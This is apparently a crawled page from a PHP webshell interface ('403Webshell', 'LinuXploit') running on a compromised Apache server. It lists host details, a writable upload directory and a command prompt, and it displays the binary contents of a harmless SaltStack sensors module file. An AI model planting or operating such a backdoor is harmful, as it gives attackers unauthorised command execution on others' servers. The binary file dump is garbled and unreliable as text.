403Webshell
Server IP : 198.38.94.13  /  Your IP : 216.73.217.33
Web Server : Apache
System : Linux d4744.dxb1.stableserver.net 5.14.0-611.49.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Apr 21 16:39:08 EDT 2026 x86_64
User : revivere ( 1140)
PHP Version : 8.2.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /opt/saltstack/salt/lib/python3.10/site-packages/salt/modules/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /opt/saltstack/salt/lib/python3.10/site-packages/salt/modules/__pycache__/sensors.cpython-310.pyc
o

;j)�@s4dZddlZddlZe�e�Zdd�Zddd�ZdS)	z-
Read lm-sensors

.. versionadded:: 2014.1.3
�NcCstjj�d�r	dSdS)N�sensorsT)Fz"sensors does not exist in the path)�salt�utils�path�which�rr�H/opt/saltstack/salt/lib/python3.10/site-packages/salt/modules/sensors.py�__virtual__sr	FcCsld}|durd}tdd|�d|��dd���}i}|D]}|�d	�}t|�d
kr3|d��||d<q|S)
uq
    Gather lm-sensors data from a given chip

    To determine the chip to query, use the 'sensors' command
    and see the leading line in the block.

    Example:

    /usr/bin/sensors

    coretemp-isa-0000
    Adapter: ISA adapter
    Physical id 0:  +56.0°C  (high = +87.0°C, crit = +105.0°C)
    Core 0:         +52.0°C  (high = +87.0°C, crit = +105.0°C)
    Core 1:         +50.0°C  (high = +87.0°C, crit = +105.0°C)
    Core 2:         +56.0°C  (high = +87.0°C, crit = +105.0°C)
    Core 3:         +53.0°C  (high = +87.0°C, crit = +105.0°C)

    Given the above, the chip is 'coretemp-isa-0000'.
    �Tz-fzcmd.runz/usr/bin/sensors � F)Zpython_shell�:��r)Z__salt__�
splitlines�split�len�lstrip)ZchipZ
fahrenheit�
extra_argsr�retZsensorZsensor_listrrr�senses��
�r)F)	�__doc__�loggingZsalt.utils.pathr�	getLogger�__name__�logr	rrrrr�<module>s


Youez - 2016 - github.com/yon3zu
LinuXploit